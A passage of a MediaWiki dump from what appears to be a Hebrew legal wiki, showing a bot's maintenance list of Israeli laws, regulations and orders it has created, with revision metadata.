* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (אכיפת תשלומים) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (סכומי דמי הגבייה) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיב מהיר) (הוראת שעה) (כביש 5)]]
* {{v}} נוצר [[כללי המים (הסדר מפורט לאזור קיצוב)]]
* {{v}} נוצר [[חוק חדלות פירעון ושיקום כלכלי/תיקון 9]]
* {{v}} נוצר [[אכרזת גנים לאומיים, שמורות טבע, אתרים לאומיים ואתרי הנצחה (יישום האמנה להגנה על הים התיכון מפני זיהום מים)]]
* {{v}} נוצר [[תקנות תרומת ביציות (מרשם יילודים)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי גפ&quot;מ) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[חוק קיום דיונים בהיוועדות חוזותית בעת הכרזה על הגבלה (עצורים, אסירים וכלואים) (הוראת שעה)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי מוצרי דלק) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג העיתונאים בשירות הציבורי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (פסיכולוגים בדירוג המח&quot;ר)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הסניגורים הציבוריים)]]
* {{v}} נוצר [[תקנות הדיינים (סדרי דין בבתי הדין הרבניים בעת מצב חירום מיוחד) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי המעבדה, הביוכימאים והמיקרוביולוגים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוגים שונים בתחום הפארה-רפואי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המפקחים הימיים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המקצ&quot;ט)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג מעברי הגבול ודירוג הקלדניות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הכבאים והדירוג האחיד ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים במשרד הבריאות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי ההוראה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג שירות החוץ)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפרקליטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג המח&quot;ר המועדף)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הרוקחים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפיזיותרפיסטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הקצינים הטכניים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג צבא הגנה לישראל ייחודי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג מחקר ופיתוח צבאי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (תשלומים)]]
* {{v}} נוצר [[תקנות שחרור על-תנאי ממאסר (הוראות מיוחדות במצב שבו השתבשו סדרי החיים התקינים) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (שעות פתיחה)]]
* {{v}} נוצר [[נוהל לתמיכות מתקציב המדינה במוסדות ציבור]]
* {{v}} נוצר [[תקנות התקשורת (בזק ושידורים) (שימוש ברשת בזק ציבורית של מפ&quot;א)]]
* {{v}} נוצר [[הוראות תעריף המכס והפטור (סיווג טובין)]]
* {{v}} נוצר [[הודעה על סוגים של עובדי מדינה שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על עובדי בנק ישראל שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על מוסד ממלכתי]]
* {{v}} נוצר [[תקנות הסניגוריה הציבורית (שכר טרחה לסניגורים ציבוריים)]]
* {{v}} נוצר [[תקנות הגז (בטיחות ורישוי) (רישוי עוסקים בעבודות גז טבעי וכללים לביצוען)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (שמאות רכב – חשש לניגוד עניינים, כללי אתיקה מקצועית ואגרות)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (רישוי עיסוק בשמאות רכב – הוראת שעה)]]
* {{v}} נוצר [[חוק שיפוט בתי דין דתיים (בוררות)]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (תעסוקה)]]
* {{v}} נוצר [[חוק עידוד יישוב עירוני מעורב (הוראת שעה)]]
* {{v}} נוצר [[חוק התחשבנות בין בתי חולים לקופות חולים לשנים 2026 עד 2030 (התחשבנות בעד שירותי בריאות בבתי חולים ציבוריים כלליים)]]
* {{v}} נוצר [[חוק לעידוד ולתמרוץ מחקר ופיתוח]]
* {{v}} נוצר [[חוק לקידום התחרות בשוק הבנקאות (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק עידוד עלייה לישראל וחזרה אליה (הוראת שעה)]]
* {{v}} נוצר [[חוק התוכנית הכלכלית (תיקוני חקיקה ליישום המדיניות הכלכלית לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק להסדרת אירוע הילולת רבי שמעון בר יוחאי בהר מירון (הוראת שעה)]]
* {{v}} נוצר [[דבר המלך במועצה על ארץ-ישראל (1948)]]
* {{v}} נוצר [[חוק שיקום נזקי מלחמה בדרך של התחדשות עירונית]]
* {{v}} נוצר [[חוק עונש מוות למחבלים]]
* {{v}} נוצר [[תקנות ההוצאה לפועל (סדרי דין בלשכות ההוצאה לפועל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הגנת הפרטיות (התראה מינהלית)]]
* {{v}} נוצר [[תקנות הטיס (הוראות בדבר הכשרה מתאימה לחוקרים בתחום סמכויות בחקירה בטיחותית)]]
* {{v}} נוצר [[אישור כללי בדבר תשלומי מעבידים לקרן פנסיה ולקופת ביטוח במקום פיצויי פיטורים]]
* {{v}} נוצר [[הודעה על ביטול אישורים ועל שמירת תוקף אישורים]]
* {{v}} נוצר [[צו איסור הלבנת הון (חובות זיהוי, דיווח וניהול רישומים למניעת הלבנת הון ומימון טרור של מוסדות לגמילות חסדים)]]
* {{v}} נוצר [[חוק חובת דיווח על מלאי מזון לבעלי חיים ומלאי חיטה לשם היערכות למחסור משמעותי]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (סיוע לעסקים ולמוסדות ציבור)]]
* {{v}} נוצר [[חוק העמדה לדין בשל אירועי טבח 7 באוקטובר 2023 (טבח שמיני עצרת)]]
* {{v}} נוצר [[צו להסדרת מגורים בשטחי מרעה (הכרזה על אזור שמירה צמודה) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (גמלאות לעובדי ביטחון חדשים של המוסד למודיעין ולתפקידים מיוחדים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות במוסד למודיעין ולתפקידים מיוחדים שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (קצבת גישור לעובדי ביטחון חדשים של שירות הביטחון הכללי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות בשירות הביטחון הכללי שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (טיפול בתלונות)]]
* {{v}} נוצר [[חוק סיוע לבני משפחה של נעדרים]]
* {{v}} נוצר [[תקנות למניעת מפגעים (מיזם תשתית חיוני מועדף)]]
* {{v}} נוצר [[תקנות הדיור המוגן (יציבות כלכלית)]]
* {{v}} נוצר [[תקנות רכבת תחתית (מטרו) (אמות מידה לסיוע כספי לעסקים הנמצאים בסמיכות לעבודות להקמה של תחנות המטרו)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (משקלן היחסי של אמות המידה)]]
* {{v}} נוצר [[תקנות הטיס (הפעלת יחידת נת&quot;א)]]
* {{v}} נוצר [[תקנות הטיס (שדות תעופה – מאפיינים פיזיים והפעלת שדה תעופה)]]
* {{v}} נוצר [[תקנות הדיור המוגן (בקשה לרישיון הפעלה של בית דיור מוגן)]]
* {{v}} נוצר [[תקנות להסדר ההימורים בספורט (כללים למתן גמול ליושב ראש המועצה)]]
* {{v}} נוצר [[חוק הטבות מס ליישוב אזור קו עימות מזרחי (הוראת שעה)]]
* {{v}} נוצר [[חוק הכרה בשפת הסימנים הישראלית]]
* {{v}} נוצר [[תקנות תכנון משק החלב (הוראות לעניין הסדרת ייצור, שיווק וויסות של חלב)]]
* {{v}} נוצר [[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1987]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1990]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)]]
* {{v}} נוצר [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)]]
* {{v}} נוצר [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)]]
* {{v}} נוצר [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]]
* {{v}} דף [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]] הועבר לדף [[חוק להקפאה וניכוי של כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* {{v}} נוצר [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק שנת הכספים]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]]
* {{v}} נוצר [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]]
* [[חוק ועדות הכנסת (ועדת העבודה והרווחה)]]
* [[חוק שטרי-חסכון צמודי-דולר]]
* [[חוק מניות בנקאיות בהסדר (הפחתת עמלות)]]
* [[חוק שדה התעופה אילת (הוראות מיוחדות)]]</text>
      <sha1>48jiqx7v7ihr8tdtvbno1dpi19o1x64</sha1>
    </revision>
    <revision>
      <id>3020719</id>
      <parentid>3020709</parentid>
      <timestamp>2026-06-19T03:00:15Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>תודה</comment>
      <origin>3020719</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26501" sha1="3l1sdn21dcqoasnumycsn0ibzjlye2v" xml:space="preserve">__INDEX__
רשימת דפים להוספה על ידי הבוט {{מוקטן|(רשימת דפים שהתווספו בעבר נשמרים [[משתמש:OpenLawBot/ארכיון|בארכיון]])}}
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לשואה ולגבורה)]]
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לחללי מערכות ישראל)]]
* {{v}} נוצר [[צו עבירת קנס (זיהום אויר)]]
* {{v}} נוצר [[צו סדר הדין הפלילי (סעיף 196 לחוק העונשין – עבירת קנס)]]
* {{v}} נוצר [[צו בתי הסוהר (קביעת קנס ופיצויים לענין עבירת בית סוהר)]]
* {{v}} נוצר [[תקנות מס הכנסה (דיבידנדים ששולם מס בשל חלוקתם)]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (סדרי דין מיוחדים בבקשה להחרמת ספינה) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[The Palestine Act]]
* {{v}} נוצר [[כללי הסדרת העיסוק בשירותי תשלום וייזום תשלום (הודעה של גופים פטורים לרשות ניירות ערך)]]
* {{v}} נוצר [[תקנות סמכויות לאיסוף ואבחון של נתוני נוסעים הנכנסים לישראל או היוצאים ממנה (הפחתה של סכומי עיצום כספי)]]
* {{v}} נוצר [[חוק השפוט בארצות נכר]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין עיריית מגדל העמק)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין המועצה המקומית זרזיר)]]
* {{v}} נוצר [[The Termination of Jurisdiction in Palestine (Transitional Provisions) Order in Council]]
* {{v}} נוצר [[דבר המלך במועצה עפ&quot;י חוק בתי-משפט לשלל מלחמה]]
* {{v}} נוצר [[תקנות בתי המשפט לעניני שלל מלחמה]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (אגרות וסדרי הדין בערעורים)]]
* {{v}} נוצר [[צו התחשבנות בין בתי חולים לקופות חולים (בריאות הנפש) (סכום תוספת התשלום שתחולק בהתאם לציוני המדד לשיפור השירות)]]
* {{v}} נוצר [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מיצג לזיכרון אירועי ה-7 באוקטובר) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שעת חירום (חרבות ברזל) (קיום דיונים בהיוועדות חזותית בהשתתפות עצורים ואסירים בעת מבצע שחרור אסירים)]]
* {{v}} נוצר [[צו ביטוח בריאות ממלכתי (תרופות בסל שירותי הבריאות)]]
* {{v}} נוצר [[תקנות בתי המשפט, בתי הדין לעבודה ולשכות ההוצאה לפועל (סדרי דין בתקופת שביתה או השבתה של עובדים)]]
* {{v}} נוצר [[דבר המלך על ארץ-ישראל בדבר שיפוט בעניני אדמיראליות]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור הפעילות בתחום הנוירולוגיה בבית החולים)]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (הודעה על החלטה להטיל קנס)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל ובין עיריית מגדל העמק והמועצות המקומיות רמת ישי וזרזיר)]]
* {{v}} נוצר [[תקנות מסילות הברזל (מסירת מידע על שירות הסעה ברכבת במרכז המידע הארצי לתחבורה ציבורית)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטע דרך כנתיב מהיר) (הוראת שעה)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיבים מהירים) (הוראת שעה)]]
* {{v}} נוצר [[חוק שלל המלחמה]]
* {{v}} נוצר [[תקנות שיקים ללא כיסוי (סייגים לתחולת החוק) (מלחמת התקומה) (הוראת שעה)‎]]
* {{v}} נוצר [[תקנות פינוי ובינוי (פיצויים) (מינוי שמאי פינוי ובינוי וסדרי דין בבקשות שיוגשו לשמאי פינוי ובינוי)]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 1925/2006)]]
* {{v}} נוצר [[תקנות פינוי בינוי (פיצויים) (כללים לקביעת שכרו של שמאי פינוי בינוי)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מתחם שישמש למגורים ולשימושים נלווים) (חרבות ברזל) (ניר עוז) (הוראת שעה)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מהיתר להקמת סכר עפר זמני ועבודות נוספות לצורך שאיבת מי כינרת) (הוראת שעה)]]
* {{v}} נוצר [[תקנות סדר הדין הפלילי (סמכויות אכיפה – נתוני תקשורת) (מאגר נתוני זיהוי תקשורת)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להחלפת צנרת המוליכה דלק לתשתיות חיוניות) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[הודעת מנהל בתי המשפט בדבר הגשת ראיות במדיה אלקטרונית או דיגיטלית]]
* {{v}} נוצר [[החלטה בדבר שכר היועץ המשפטי לכנסת]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בהוראות האיחוד האירופי) (תקנה 10/2011 – חומרים ומוצרים פלסטיים המיועדים לבוא במגע עם מזון)]]
* {{v}} נוצר [[תקנות מס הכנסה (קביעת סוגי עסקאות, הכנסות או מכירות שיוספו או יוחרגו ממחזור העסקאות של בעל עסק זעיר)]]
* {{v}} נוצר [[חוק מניעת פגיעת גוף שידורים זר בביטחון המדינה (הוראת שעה)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (סדר דין לדיון בבקשות לפי סעיפים 19 ו-20)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור מיומנויות רופאים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (העסקת עמיתי רופא שהגיעו מחוץ לישראל)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הרחבת שירותי אשפוז בית בשנת 2025)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הפעלת שדות קליניים)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (קנס מינהלי – עירית תל-אביב-יפו)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 2023/915 – מזהמים מסוימים במזון)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 432/2012 – רשימת מסרים בריאותיים מותרים למזון)]]
* {{v}} נוצר [[חוק מס חברות מזערי בקבוצה רב-לאומית]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (סדרי הדין והמינהל בבית דין לתעבורה)]]
* {{v}} נוצר [[כללי המים (תעריפים למי קולחים לחקלאות המסופקים ממיתקן טיפול בשפכים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הקמת ממשקי דיווח להעברת מידע קליני ומינהלי חיוני)]]
* {{v}} נוצר [[תקנות הפיקוח על שירותים פיננסיים (שירותים פיננסיים מוסדרים) (הפחתה של סכומי עיצום כספי ופריסת תשלומים)]]
* {{v}} נוצר [[תקנות בריאות העם (הגשת דין וחשבון)]]
* {{v}} נוצר [[תקנות למניעת העסקה במוסדות מסוימים של מי שהורשע באלימות כלפי ילדים וחסרי ישע (אישור המשטרה)]]
* {{v}} נוצר [[תקנות בריאות העם (דיווח על לידת תינוקות עם מומים)]]
* {{v}} נוצר [[הודעת מס הכנסה (רשימת יישובים מוטבים לשנת 2026)]]
* {{v}} נוצר [[תקנות הדואר (הוראות מס)]]
* {{v}} נוצר [[תקנות הדואר (פטור ממסים, מאגרות ומתשלומי חובה אחרים)]]
* {{v}} נוצר [[תקנות האגודות השתופיות]]
* {{v}} נוצר [[חוק יום הוקרה ממלכתי לפצועי מערכות ישראל ונפגעי פעולות איבה]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (אכיפת תשלומים) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (סכומי דמי הגבייה) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיב מהיר) (הוראת שעה) (כביש 5)]]
* {{v}} נוצר [[כללי המים (הסדר מפורט לאזור קיצוב)]]
* {{v}} נוצר [[חוק חדלות פירעון ושיקום כלכלי/תיקון 9]]
* {{v}} נוצר [[אכרזת גנים לאומיים, שמורות טבע, אתרים לאומיים ואתרי הנצחה (יישום האמנה להגנה על הים התיכון מפני זיהום מים)]]
* {{v}} נוצר [[תקנות תרומת ביציות (מרשם יילודים)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי גפ&quot;מ) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[חוק קיום דיונים בהיוועדות חוזותית בעת הכרזה על הגבלה (עצורים, אסירים וכלואים) (הוראת שעה)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי מוצרי דלק) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג העיתונאים בשירות הציבורי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (פסיכולוגים בדירוג המח&quot;ר)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הסניגורים הציבוריים)]]
* {{v}} נוצר [[תקנות הדיינים (סדרי דין בבתי הדין הרבניים בעת מצב חירום מיוחד) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי המעבדה, הביוכימאים והמיקרוביולוגים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוגים שונים בתחום הפארה-רפואי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המפקחים הימיים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המקצ&quot;ט)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג מעברי הגבול ודירוג הקלדניות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הכבאים והדירוג האחיד ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים במשרד הבריאות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי ההוראה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג שירות החוץ)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפרקליטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג המח&quot;ר המועדף)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הרוקחים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפיזיותרפיסטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הקצינים הטכניים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג צבא הגנה לישראל ייחודי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג מחקר ופיתוח צבאי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (תשלומים)]]
* {{v}} נוצר [[תקנות שחרור על-תנאי ממאסר (הוראות מיוחדות במצב שבו השתבשו סדרי החיים התקינים) (הוראת שעה)]]
